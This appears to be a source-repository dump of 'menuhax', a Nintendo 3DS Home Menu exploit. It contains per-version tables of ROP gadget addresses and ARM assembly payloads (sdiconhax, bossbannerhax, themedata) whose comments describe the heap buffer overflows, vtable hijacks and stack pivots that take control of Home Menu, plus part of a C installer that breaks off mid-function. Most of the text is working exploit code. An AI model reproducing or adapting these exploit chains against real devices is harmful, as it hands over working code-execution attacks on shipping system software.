55 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x0032e604
56 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x0032e60c
57 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x0032e610
58 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x0032e618
59 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x0032e61c
60 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/USA/25600:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fb8
 2 | 
 3 | #define ROP_POPPC 0x0010e5c8
 4 | #define POP_R1PC 0x00237100
 5 | #define POP_R3PC 0x0010f578
 6 | #define POP_R2R6PC 0x00150544
 7 | #define POP_R4LR_BXR1 0x0011a34c
 8 | #define POP_R4R8LR_BXR2 0x001334b8
 9 | #define POP_R4R5R6PC 0x0010d2d8
10 | #define POP_R4FPPC 0x0010ed7c
11 | #define POP_R4R8PC 0x0010d404
12 | 
13 | #define ROP_STR_R1TOR0 0x0011a304
14 | #define ROP_STR_R0TOR1 0x001120f4
15 | #define ROP_LDR_R0FROMR0 0x00118dc0
16 | #define ROP_ADDR0_TO_R1 0x0012b1b8
17 | 
18 | #define MEMCPY 0x0023761c
19 | #define MEMSET32_OTHER 0x002339c8
20 | 
21 | #define svcControlMemory 0x002357f0
22 | #define svcSleepThread 0x0012b17c
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014b9d0
25 | #define GSPGPU_SERVHANDLEADR 0x0033afd0
26 | 
27 | #define IFile_Read 0x0022baf4
28 | #define IFile_Write 0x00220dfc
29 | 
30 | #define POP_R0PC 0x00157950
31 | #define ROP_LDRR1R1_STRR1R0 0x0021404c
32 | #define ROP_CMPR0R1 0x002a1af4
33 | #define ROP_INITOBJARRAY 0x0022c091
34 | #define svcCreateThread 0x0010e42c
35 | #define svcConnectToPort 0x00118738
36 | #define svcGetProcessId 0x0012b160
37 | #define SRV_GETSERVICEHANDLE 0x00235848
38 | #define CFGIPC_SecureInfoGetRegion 0x001378e8
39 | #define ROP_COND_THROWFATALERR 0x001028e4
40 | #define GXLOW_CMD4 0x0014bad4
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x001459ac
42 | #define FS_MountSdmc 0x00118c4c
43 | #define IFile_Open 0x0022bc08
44 | #define IFile_Close 0x0022f9a0
45 | #define IFile_Seek 0x00221588
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b3d8
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001038c4
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0032d848
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0025b480
50 | #define NSS_LaunchTitle 0x00231310
51 | #define NSS_RebootSystem 0x001374c4
52 | #define GSPGPU_Shutdown 0x0011a000
53 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL 0x0032d738
54 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL 0x0032d73c
55 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x0032e604
56 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x0032e60c
57 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x0032e610
58 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x0032e618
59 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x0032e61c
60 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/USA/26624:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fb8
 2 | 
 3 | #define ROP_POPPC 0x0010e5c8
 4 | #define POP_R1PC 0x00237118
 5 | #define POP_R3PC 0x0010f578
 6 | #define POP_R2R6PC 0x0015055c
 7 | #define POP_R4LR_BXR1 0x0011a34c
 8 | #define POP_R4R8LR_BXR2 0x001334b8
 9 | #define POP_R4R5R6PC 0x0010d2d8
10 | #define POP_R4FPPC 0x0010ed7c
11 | #define POP_R4R8PC 0x0010d404
12 | 
13 | #define ROP_STR_R1TOR0 0x0011a304
14 | #define ROP_STR_R0TOR1 0x001120f4
15 | #define ROP_LDR_R0FROMR0 0x00118dc0
16 | #define ROP_ADDR0_TO_R1 0x0012b1b8
17 | 
18 | #define MEMCPY 0x00237634
19 | #define MEMSET32_OTHER 0x002339e0
20 | 
21 | #define svcControlMemory 0x00235808
22 | #define svcSleepThread 0x0012b17c
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014b9e8
25 | #define GSPGPU_SERVHANDLEADR 0x0033afd0
26 | 
27 | #define IFile_Read 0x0022bb0c
28 | #define IFile_Write 0x00220e14
29 | 
30 | #define POP_R0PC 0x00157968
31 | #define ROP_LDRR1R1_STRR1R0 0x00214064
32 | #define ROP_CMPR0R1 0x002a1b0c
33 | #define ROP_INITOBJARRAY 0x0022c0a9
34 | #define svcCreateThread 0x0010e42c
35 | #define svcConnectToPort 0x00118738
36 | #define svcGetProcessId 0x0012b160
37 | #define SRV_GETSERVICEHANDLE 0x00235860
38 | #define CFGIPC_SecureInfoGetRegion 0x001378e8
39 | #define ROP_COND_THROWFATALERR 0x001028e4
40 | #define GXLOW_CMD4 0x0014baec
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x001459c4
42 | #define FS_MountSdmc 0x00118c4c
43 | #define IFile_Open 0x0022bc20
44 | #define IFile_Close 0x0022f9b8
45 | #define IFile_Seek 0x002215a0
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b3d8
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001038c4
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0032d848
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0025b498
50 | #define NSS_LaunchTitle 0x00231328
51 | #define NSS_RebootSystem 0x001374c4
52 | #define GSPGPU_Shutdown 0x0011a000
53 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL 0x0032d738
54 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL 0x0032d73c
55 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x0032e604
56 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x0032e60c
57 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x0032e610
58 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x0032e618
59 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x0032e61c
60 | 


--------------------------------------------------------------------------------
/sdiconhax_savedatadat.s:
--------------------------------------------------------------------------------
 1 | .arm
 2 | .section .init
 3 | .global _start
 4 | 
 5 | #include "menuhax_ropinclude.s"
 6 | 
 7 | #define TOTAL_HAX_ICONS 60 //Use the last 60 available "icons".
 8 | 
 9 | _start:
10 | 
11 | @ End of the titleID array - TOTAL_HAX_ICONS.
12 | .fill (((_start + 0x8 + ((360-TOTAL_HAX_ICONS)*8)) - .) / 4), 4, 0xffffffff
13 | .word ROPBUFLOC(object), 0x55667788 @ These two words(as a "titleID") overwrite the target_objectslist_buffer. The rest of the "titleIDs" here aren't used by Home Menu due to the s16 values below. This buffer contains a list of object-ptrs which gets used with a vtable-funcptr +16 call. This jumps to ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR. These objects are used by the main-thread, while the vulnerable function parsing this icon data runs on a seperate thread.
14 | 
15 | object:
16 | .word ROPBUFLOC(vtable) @ object+0, vtable ptr.
17 | .word 0
18 | 
19 | vtable: @ Overlap the object and vtable due to lack of space, since ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR uses vtable+0x28.
20 | .word 0
21 | .word 0
22 | .word ROPBUFLOC(object + 0x20) @ This .word is at object+0x10. ROP_LOADR4_FROMOBJR0 loads r4 from here.
23 | .word STACKPIVOT_ADR @ vtable funcptr +12, called via ROP_LOADR4_FROMOBJR0.
24 | .word ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR @ vtable funcptr +16. This saves {r4-r8, lr} on the stack, then calls the funcptr from vtable+0x28 below.
25 | 
26 | //.space ((object + 0x1c) - .) @ sp/pc data loaded by STACKPIVOT_ADR.
27 | 
28 | stackpivot_sploadword:
29 | .word ROPBUFLOC(ropstackstart) @ sp
30 | stackpivot_pcloadword:
31 | .word ROP_POPPC @ pc
32 | 
33 | @ vtable+0x28, called by ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR. This then does the usual stack-pivot.
34 | .space ((vtable + 0x28) - .)
35 | .word ROP_LOADR4_FROMOBJR0
36 | 
37 | @ objptr loaded by ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR.
38 | //.space ((object + 0x34) - .)
39 | .word ROPBUFLOC(object)
40 | 
41 | ropstackstart:
42 | #include "menuhax_loader.s"
43 | 
44 | @ Pad to the end of the titleID array, to make sure the above data doesn't get too large.
45 | .space ((_start + 0xb48) - .)
46 | 
47 | @ End of the s16 array.
48 | .space ((_start + 0xcb0 + ((360-TOTAL_HAX_ICONS)*2)) - .)
49 | .hword 0x5848 @ Offset value, menuhax_manager detects this special value and uses the required value instead.
50 | #if TOTAL_HAX_ICONS > 1
51 | .fill TOTAL_HAX_ICONS-1, 2, 0xffff @ Use 0xffff for the rest of these, so that the titleID doesn't get used.
52 | #endif
53 | 
54 | @ End of the s8 array.
55 | .space ((_start + 0xf80 + (360-TOTAL_HAX_ICONS)) - .)
56 | .fill TOTAL_HAX_ICONS, 1, 0xff @ Normally this is 0xff, but write this anyway since it's required for this hax.
57 | 
58 | .space ((_start + 0x2da0) - .)
59 | 
60 | 


--------------------------------------------------------------------------------
/stage1_bossbannerhax.s:
--------------------------------------------------------------------------------
 1 | .arm
 2 | .section .init
 3 | .global _start
 4 | 
 5 | #include "menuhax_ropinclude.s"
 6 | 
 7 | #define BOSSBANNERHAX_SPRETADDR 0x0fffff98//Address of SP right before the original stack-pivot was done.
 8 | 
 9 | _start:
10 | 
11 | ropstackstart:
12 | 
13 | @ Increase the saved LR used with the ret2menu stack-pivot data by 0xc, so that it jumps to the pop-instruction instead.
14 | ROPMACRO_LDDRR0_ADDR1_STRADDR BOSSBANNERHAX_SPRETADDR+(5*4), BOSSBANNERHAX_SPRETADDR+(5*4), 0xc
15 | 
16 | @ BOSSBANNERHAX_SPRETADDR-(9*4) is the start of the data for POP_R4FPPC during stack-pivot.
17 | ROPMACRO_WRITEWORD BOSSBANNERHAX_SPRETADDR-(4*4), ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL @ r9 value
18 | ROPMACRO_WRITEWORD BOSSBANNERHAX_SPRETADDR-(3*4), ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL @ sl value
19 | ROPMACRO_WRITEWORD BOSSBANNERHAX_SPRETADDR-(2*4), 0x1 @ fp value
20 | ROPMACRO_WRITEWORD BOSSBANNERHAX_SPRETADDR-(1*4), POP_R4R8PC
21 | 
22 | @ Copy the ptr from <buffer allocated immediately after the decompression outbuf>+0x14 to +0x10. This restores the word overwritten at the end of bossbannerhax_banner.s.
23 | ROPMACRO_COPYWORD FIXHEAPBUF+0x20224+0x10+0x10, FIXHEAPBUF+0x20224+0x10+0x14
24 | 
25 | #include "menuhax_loader.s"
26 | 
27 | @ The ROP used for RET2MENU starts here.
28 | 
29 | .word MAINLR_SVCEXITPROCESS @ Can't really ret2menu since there's some data that (probably) can't be restored properly. And also the exploit will trigger again the next time the user selects the application icon, which triggers another crash.
30 | 
31 | ROPMACRO_STACKPIVOT BOSSBANNERHAX_SPRETADDR-(9*4), POP_R4FPPC @ Return to executing the original homemenu code.
32 | 
33 | menuhaxloader_beforethreadexit:
34 | 
35 | @ Copy the addr from menuhax_payload beforethreadexit_return_spaddr to the word which will be popped into sp.
36 | ROPMACRO_COPYWORD ROPBUFLOC(stackpivot_sploadword), MENUHAXLOADER_LOAD_BINADDR+12
37 | 
38 | @ Write to the word which will be popped into pc.
39 | ROPMACRO_WRITEWORD ROPBUFLOC(stackpivot_pcloadword), ROP_POPPC
40 | 
41 | ROPMACRO_STACKPIVOT_PREPAREREGS_BEFOREJUMP
42 | 
43 | ROPMACRO_STACKPIVOT_JUMP
44 | 
45 | object:
46 | .word ROPBUFLOC(vtable) @ object+0, vtable ptr
47 | .word 0
48 | .word 0
49 | .word 0
50 | 
51 | .word ROPBUFLOC(object + 0x20) @ This .word is at object+0x10. ROP_LOADR4_FROMOBJR0 loads r4 from here.
52 | 
53 | .space ((object + 0x1c) - .) @ sp/pc data loaded by STACKPIVOT_ADR.
54 | stackpivot_sploadword:
55 | .word ROPBUFLOC(ropstackstart) @ sp
56 | stackpivot_pcloadword:
57 | .word ROP_POPPC @ pc
58 | 
59 | vtable:
60 | .word 0, 0 @ vtable+0
61 | .word 0//ROP_LOADR4_FROMOBJR0 @ vtable funcptr +8
62 | .word 0//STACKPIVOT_ADR @ vtable funcptr +12, called via ROP_LOADR4_FROMOBJR0.
63 | 
64 | tmp_scratchdata:
65 | .space 0x4
66 | 
67 | 


--------------------------------------------------------------------------------
/bossbannerhax_banner.s:
--------------------------------------------------------------------------------
 1 | .arm
 2 | .section .init
 3 | .global _start
 4 | 
 5 | #include "menuhax_ropinclude.s"
 6 | 
 7 | _start: @ Start of the exbanner data.
 8 | .word 0, 0, 0, 0, 0 @ Texture width/height/format, and expiration-timestamp. Since the expiration-timestamp is zero, the non-timestamp data in this exbanner is all unused.
 9 | 
10 | @ The banner loading is done by a seperate thread from main-thread, however the below heap data is used by the main-thread.
11 | 
12 | @ Home Menu itself calls the function for ROP_LOADR4_FROMOBJR0, which then uses vtable funcptr +12 below with r4=<see the end of this .s>. This is the initial vtable funcptr call.
13 | 
14 | vtable:
15 | .word 0
16 | .word 0
17 | .word 0
18 | .word ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR @ vtable funcptr +12, called via ROP_LOADR4_FROMOBJR0. This is the initial vtable funcptr call. This saves {r4-r8, lr} on the stack, then calls the funcptr from vtable+0x28 below.
19 | 
20 | vtable2:
21 | .word 0
22 | .word 0
23 | .word 0
24 | .word STACKPIVOT_ADR @ vtable funcptr +12, called via ROP_LOADR4_FROMOBJR0.
25 | 
26 | @ vtable2+0x28, called by ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR. This then does the usual stack-pivot.
27 | .space ((vtable2 + 0x28) - .)
28 | .word ROP_LOADR4_FROMOBJR0
29 | 
30 | object:
31 | .word ROPBUFLOC(vtable) @ object+0, vtable ptr.
32 | .word 0
33 | .word 0
34 | .word 0
35 | .word ROPBUFLOC(object + 0x20) @ This .word is at object+0x10.
36 | 
37 | @ objptr loaded by ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR.
38 | .space ((object + 0x34) - .)
39 | .word ROPBUFLOC(object2)
40 | 
41 | object2:
42 | .word ROPBUFLOC(vtable2) @ object+0, vtable ptr.
43 | .word 0
44 | .word 0
45 | .word 0
46 | .word ROPBUFLOC(object2 + 0x20) @ This .word is at object2+0x10. ROP_LOADR4_FROMOBJR0 loads r4 from here.
47 | 
48 | .space ((object2 + 0x1c) - .) @ sp/pc data loaded by STACKPIVOT_ADR.
49 | 
50 | stackpivot_sploadword:
51 | .word ROPBUFLOC(ropstackstart) @ sp
52 | stackpivot_pcloadword:
53 | .word ROP_POPPC @ pc
54 | 
55 | ropstackstart:
56 | 
57 | #include "menuhax_loader.s"
58 | 
59 | @ When decompressing exbanners from the BOSS CBMD, Home Menu doesn't validate the decompressed-size from the LZ11 header. The buffer size is 0x20224-bytes. Hence, the below triggers a buffer overflow. Only the last word here actually triggers a crash when invalid, or at least immediately.
60 | .space ((_start + 0x20224) - .)
61 | 
62 | @ Start of DU memchunk(CTRSDK-heap memchunkhdr for allocated mem).
63 | .word 0x5544 @ magicnum
64 | .word 0x50 @ size
65 | .word ROPBUF-0x10 @ prev memchunk
66 | .word ROPBUF+0x20224+0x10+0x50 @ next memchunk
67 | 
68 | @ Start of the allocated mem.
69 | .word 0 @ vtable ptr
70 | .word 0 @ .data/.bss ptr
71 | .word 0 @ regular-heap ptr
72 | .word 0 @ Actually zero in the original data.
73 | 
74 | .word ROPBUFLOC(object+0x20)
75 | 
76 | 


--------------------------------------------------------------------------------
/menuhax_ropinclude.s:
--------------------------------------------------------------------------------
 1 | #include "ropkit_ropinclude.s"
 2 | 
 3 | #define TARGETOVERWRITE_STACKADR TARGETOVERWRITE_MEMCHUNKADR+12-0x14
 4 | 
 5 | #define ROP_BXR1 POP_R4LR_BXR1+4
 6 | #define ROP_BXLR ROP_LDR_R0FROMR0+4 //"bx lr"
 7 | 
 8 | #if NEW3DS==0
 9 | 	#define NSS_PROCLOADTEXT_LINEARMEMADR 0x36500000
10 | #else
11 | 	#define NSS_PROCLOADTEXT_LINEARMEMADR ((0x3d900000-0x400000)+0x21b000)//In SKATER, overwrite the code which gets called for assert/svcBreak when allocating the main heap fails.
12 | #endif
13 | 
14 | #ifndef LOADSDPAYLOAD
15 | 	#define CODEBINPAYLOAD_SIZE (codedataend-codedatastart)
16 | #else
17 | 	#if NEW3DS==0
18 | 		#define CODEBINPAYLOAD_SIZE 0x4000
19 | 	#else
20 | 		#if (((REGIONVAL==0 && MENUVERSION<19476) || (REGIONVAL!=0 && MENUVERSION<16404)) && REGIONVAL!=4)//Check for system-version <v9.6.
21 | 			#define CODEBINPAYLOAD_SIZE 0x4000
22 | 		#else
23 | 			#define CODEBINPAYLOAD_SIZE 0x6000
24 | 		#endif
25 | 	#endif
26 | #endif
27 | 
28 | #define NEWTHREAD_ROPBUFFER 0x0ff00000
29 | 
30 | #define MAINLR_SVCEXITPROCESS 0x00100020 //LR of main(), svcExitProcess.
31 | 
32 | .macro ROPMACRO_STACKPIVOT_PREPAREREGS_BEFOREJUMP
33 | .word POP_R2R6PC
34 | .word 0 @ r2
35 | .word 0 @ r3
36 | .word ROPBUFLOC(stackpivot_pcloadword) @ r4
37 | .word 0 @ r5
38 | .word 0 @ r6
39 | .endm
40 | 
41 | .macro ROPMACRO_STACKPIVOT_PREPAREREGS_BEFOREJUMP_NEWTHREAD
42 | .word POP_R2R6PC
43 | .word 0 @ r2
44 | .word 0 @ r3
45 | .word NEWTHREAD_ROPBUFFER + ((newthread_rop_stackpivot_pcloadword) - newthread_ropstart) @ r4
46 | .word 0 @ r5
47 | .word 0 @ r6
48 | .endm
49 | 
50 | .macro ROPMACRO_STACKPIVOT_JUMP
51 | .word STACKPIVOT_ADR
52 | .endm
53 | 
54 | #ifndef ROP_POPR3_ADDSPR3_POPPC
55 | .macro ROPMACRO_STACKPIVOT_PREPARE_NEWTHREAD sp, pc
56 | @ Write to the word which will be popped into sp.
57 | ROPMACRO_WRITEWORD NEWTHREAD_ROPBUFFER + (newthread_rop_stackpivot_sploadword - newthread_ropstart), \sp
58 | 
59 | @ Write to the word which will be popped into pc.
60 | ROPMACRO_WRITEWORD NEWTHREAD_ROPBUFFER + (newthread_rop_stackpivot_pcloadword - newthread_ropstart), \pc
61 | .endm
62 | #endif
63 | 
64 | .macro ROPMACRO_STACKPIVOT_NEWTHREAD sp, pc
65 | ROPMACRO_STACKPIVOT_PREPARE_NEWTHREAD \sp, \pc
66 | 
67 | ROPMACRO_STACKPIVOT_PREPAREREGS_BEFOREJUMP_NEWTHREAD
68 | 
69 | ROPMACRO_STACKPIVOT_JUMP
70 | .endm
71 | 
72 | .macro ROPMACRO_CMPDATA_NEWTHREAD cmpaddr, cmpword, stackaddr_cmpmismatch
73 | ROP_SETLR ROP_POPPC
74 | 
75 | ROP_LOADR0_FROMADDR \cmpaddr
76 | 
77 | ROP_SETR1 \cmpword
78 | 
79 | #ifdef ROP_CMPR0R1
80 | .word ROP_CMPR0R1
81 | .word 0
82 | #elif defined (ROP_CMPR0R1_ALT0)
83 | .word ROP_CMPR0R1_ALT0
84 | #else
85 | #error "ROP_CMPR0R1* isn't defined."
86 | #endif
87 | 
88 | ROPMACRO_STACKPIVOT_PREPARE_NEWTHREAD \stackaddr_cmpmismatch, ROP_POPPC
89 | 
90 | ROPMACRO_STACKPIVOT_PREPAREREGS_BEFOREJUMP_NEWTHREAD
91 | 
92 | ROP_SETR0 NEWTHREAD_ROPBUFFER + (newthread_ropkit_cmpobject - newthread_ropstart)
93 | 
94 | .word ROP_EQBXLR_NE_CALLVTABLEFUNCPTR @ When the value at cmpaddr matches cmpword, continue the ROP, otherwise call the vtable funcptr which then does the stack-pivot.
95 | .endm
96 | 
97 | 


--------------------------------------------------------------------------------
/themedata_payload.s:
--------------------------------------------------------------------------------
 1 | .arm
 2 | .section .init
 3 | .global _start
 4 | 
 5 | /*
 6 | All function addresses referenced here are for v9.4 homemenu.
 7 | 
 8 | The CTRSDK memchunkhax(triggered by the buf overflow + memfree) triggers overwriting the saved r4 on the L_22fb34 stackframe, with value=<address of the below object label>. This is the function which called the memfree function.
 9 | After calling some func which decreases some counter, homemenu then executes L_1ca5d0(r4), where r4 is the above overwritten ptr.
10 | L_1ca5d0: This first writes u8 value 1 to 0x3b7e. After checking/using other state, this function eventually executes: L_1d1ea8(*(inr0+0x3a60), 1);//where inr0=above ptr
11 | L_1d1ea8: After using other state, it executes: return L_2441a0(*(inr0+0x2f0), inr1);
12 | L_2441a0: L_1e95e0(*(inr0+4)); ...
13 | L_1e95e0: objectptr = *(inr0+0x28); if(objectptr)<calls vtable funcptr +8 from objectptr> ...//This is where this haxx finally gets control over an objectptr(r0) + PC at the same time.
14 | */
15 | 
16 | #include "menuhax_ropinclude.s"
17 | 
18 | _start:
19 | 
20 | themeheader:
21 | #ifndef BUILDROPBIN
22 | #ifndef THEMEDATA_PATH
23 | @ This is the start of the decompressed theme data.
24 | .word 1 @ version
25 | #else
26 | .incbin THEMEDATA_PATH
27 | #endif
28 | #else
29 | 
30 | #ifdef PAYLOAD_HEADERFILE
31 | .incbin PAYLOAD_HEADERFILE
32 | #endif
33 | 
34 | @ Stack-pivot to ropstackstart.
35 | ROP_SETR0 ROPBUFLOC(object)
36 | 
37 | .word ROP_LOADR4_FROMOBJR0
38 | #endif
39 | 
40 | #ifndef THEMEDATA_PATH
41 | .space ((themeheader + 0xc4) - .)
42 | #endif
43 | 
44 | object:
45 | .word ROPBUFLOC(vtable) @ object+0, vtable ptr
46 | .word ROPBUFLOC(object) @ Ptr loaded by L_2441a0, passed to L_1e95e0 inr0.
47 | .word 0 @ Memchunk-hdr stuff writes here.
48 | .word 0
49 | 
50 | .word ROPBUFLOC(object + 0x20) @ This .word is at object+0x10. ROP_LOADR4_FROMOBJR0 loads r4 from here.
51 | 
52 | .space ((object + 0x1c) - .) @ sp/pc data loaded by STACKPIVOT_ADR.
53 | stackpivot_sploadword:
54 | .word ROPBUFLOC(ropstackstart) @ sp
55 | stackpivot_pcloadword:
56 | .word ROP_POPPC @ pc
57 | 
58 | .space ((object + 0x28) - .)
59 | .word ROPBUFLOC(object) @ Actual object-ptr loaded by L_1e95e0, used for the vtable functr +8 call.
60 | 
61 | @ Fill memory with the ptrs used by the following:
62 | @ Ptr loaded by L_1d1ea8, passed to L_2441a0 inr0.
63 | @ Ptr loaded by L_1ca5d0, passed to L_1d1ea8() inr0.
64 | .fill (((object + 0x3a60 + 0x100) - .) / 4), 4, (ROPBUFLOC(object))
65 | 
66 | vtable:
67 | .word 0, 0 @ vtable+0
68 | .word ROP_LOADR4_FROMOBJR0 @ vtable funcptr +8
69 | .word STACKPIVOT_ADR @ vtable funcptr +12, called via ROP_LOADR4_FROMOBJR0.
70 | .word ROP_POPPC, ROP_POPPC @ vtable funcptr +16/+20
71 | 
72 | .space ((object + 0x4000) - .) @ Base the tmpdata followed by stack, at ROPBUF+0x4000 to make sure homemenu doesn't overwrite the ROP data with the u8 write(see notes on v9.4 func L_1ca5d0).
73 | 
74 | ropstackstart:
75 | 
76 | #include "menuhax_loader.s"
77 | 
78 | #ifdef PAYLOAD_PADFILESIZE
79 | .space (0x150000 - (_end - _start))
80 | #endif
81 | 
82 | #ifdef PAYLOAD_FOOTER_WORDS
83 | .word PAYLOAD_FOOTER_WORD0, PAYLOAD_FOOTER_WORD1, PAYLOAD_FOOTER_WORD2, PAYLOAD_FOOTER_WORD3
84 | #endif
85 | 
86 | 


--------------------------------------------------------------------------------
/menuhax_manager/source/menu.c:
--------------------------------------------------------------------------------
  1 | #include <string.h>
  2 | #include <stdio.h>
  3 | #include <stdlib.h>
  4 | #include <unistd.h>
  5 | #include <3ds.h>
  6 | 
  7 | #include "log.h"
  8 | 
  9 | static bool menu_allowscreencontrol = true;
 10 | static int menu_curprintscreen = 0;
 11 | static PrintConsole menu_printscreen[2];
 12 | 
 13 | void initialize_menu()
 14 | {
 15 | 	menu_allowscreencontrol = true;
 16 | 	menu_curprintscreen = 0;
 17 | 	consoleInit(GFX_TOP, &menu_printscreen[0]);
 18 | 	consoleInit(GFX_BOTTOM, &menu_printscreen[1]);
 19 | 	consoleSelect(&menu_printscreen[menu_curprintscreen]);
 20 | }
 21 | 
 22 | void menu_configscreencontrol(bool flag, int curscreen)
 23 | {
 24 | 	if(curscreen)curscreen = 1;
 25 | 
 26 | 	menu_allowscreencontrol = flag;
 27 | 	menu_curprintscreen = curscreen;
 28 | 
 29 | 	gfxSet3D(false);
 30 | 	gfxSwapBuffersGpu();
 31 | 
 32 | 	consoleClear();
 33 | 	consoleInit(GFX_TOP, &menu_printscreen[0]);
 34 | 	consoleInit(GFX_BOTTOM, &menu_printscreen[1]);
 35 | 	consoleSelect(&menu_printscreen[menu_curprintscreen]);
 36 | }
 37 | 
 38 | int menu_getcurscreen(void)
 39 | {
 40 | 	return menu_curprintscreen;
 41 | }
 42 | 
 43 | void display_menu(char **menu_entries, int total_entries, int *menuindex, char *headerstr)
 44 | {
 45 | 	int i;
 46 | 	u32 redraw = 1;
 47 | 	u32 kDown = 0;
 48 | 
 49 | 	while(1)
 50 | 	{
 51 | 		gspWaitForVBlank();
 52 | 		hidScanInput();
 53 | 
 54 | 		kDown = hidKeysDown();
 55 | 
 56 | 		if(redraw)
 57 | 		{
 58 | 			redraw = 0;
 59 | 
 60 | 			consoleClear();
 61 | 			log_printf(LOGTAR_ALL, "%s.\n\n", headerstr);
 62 | 
 63 | 			for(i=0; i<total_entries; i++)
 64 | 			{
 65 | 				if(*menuindex==i)
 66 | 				{
 67 | 					log_printf(LOGTAR_ALL, "-> ");
 68 | 				}
 69 | 				else
 70 | 				{
 71 | 					log_printf(LOGTAR_ALL, "   ");
 72 | 				}
 73 | 
 74 | 				log_printf(LOGTAR_ALL, "%s\n", menu_entries[i]);
 75 | 			}
 76 | 		}
 77 | 
 78 | 		if(kDown & KEY_B)
 79 | 		{
 80 | 			*menuindex = -1;
 81 | 			return;
 82 | 		}
 83 | 
 84 | 		if(kDown & (KEY_RIGHT | KEY_DOWN))
 85 | 		{
 86 | 			(*menuindex)++;
 87 | 			if(*menuindex>=total_entries)*menuindex = 0;
 88 | 			redraw = 1;
 89 | 
 90 | 			continue;
 91 | 		}
 92 | 		else if(kDown & (KEY_LEFT | KEY_UP))
 93 | 		{
 94 | 			(*menuindex)--;
 95 | 			if(*menuindex<0)*menuindex = total_entries-1;
 96 | 			redraw = 1;
 97 | 
 98 | 			continue;
 99 | 		}
100 | 
101 | 		if((kDown & KEY_Y) && menu_allowscreencontrol)
102 | 		{
103 | 			gspWaitForVBlank();
104 | 			consoleClear();
105 | 
106 | 			menu_curprintscreen = !menu_curprintscreen;
107 | 			consoleSelect(&menu_printscreen[menu_curprintscreen]);
108 | 			redraw = 1;
109 | 		}
110 | 
111 | 		if(kDown & KEY_A)
112 | 		{
113 | 			break;
114 | 		}
115 | 	}
116 | }
117 | 
118 | void displaymessage_waitbutton()
119 | {
120 | 	log_printf(LOGTAR_ALL, "\nPress the A button to continue.\n");
121 | 	while(1)
122 | 	{
123 | 		gspWaitForVBlank();
124 | 		hidScanInput();
125 | 		if(hidKeysDown() & KEY_A)break;
126 | 	}
127 | }
128 | 
129 | int displaymessage_prompt(const char *message, const char *keymsg)
130 | {
131 | 	if(keymsg==NULL)keymsg = "A = Yes, B = No.";
132 | 
133 | 	log_printf(LOGTAR_ALL, "%s\n%s\n\n", message, keymsg);
134 | 	while(1)
135 | 	{
136 | 		gspWaitForVBlank();
137 | 		hidScanInput();
138 | 		if(hidKeysDown() & KEY_A)return 0;
139 | 		if(hidKeysDown() & KEY_B)return 1;
140 | 	}
141 | }
142 | 
143 | 


--------------------------------------------------------------------------------
/menuhax_manager/source/modules/themehax.c:
--------------------------------------------------------------------------------
  1 | #include <string.h>
  2 | #include <stdio.h>
  3 | #include <stdlib.h>
  4 | #include <sys/stat.h>
  5 | #include <unistd.h>
  6 | #include <3ds.h>
  7 | 
  8 | #include "archive.h"
  9 | #include "log.h"
 10 | 
 11 | #include "modules_common.h"
 12 | 
 13 | Result themehax_install(char *menuhax_basefn, s16 menuversion);
 14 | Result themehax_delete();
 15 | 
 16 | void register_module_themehax()
 17 | {
 18 | 	module_entry module = {
 19 | 		.name = "themehax",
 20 | 		.haxinstall = themehax_install,
 21 | 		.haxdelete = themehax_delete,
 22 | 		.themeflag = false
 23 | 	};
 24 | 
 25 | 	register_module(&module);
 26 | }
 27 | 
 28 | Result themehax_install(char *menuhax_basefn, s16 menuversion)
 29 | {
 30 | 	Result ret=0;
 31 | 
 32 | 	char payload_filepath[256];
 33 | 	char tmpstr[256];
 34 | 
 35 | 	memset(payload_filepath, 0, sizeof(payload_filepath));
 36 | 	memset(tmpstr, 0, sizeof(tmpstr));
 37 | 
 38 | 	snprintf(payload_filepath, sizeof(payload_filepath)-1, "romfs:/finaloutput/stage1_themedata.zip@%s.bin", menuhax_basefn);
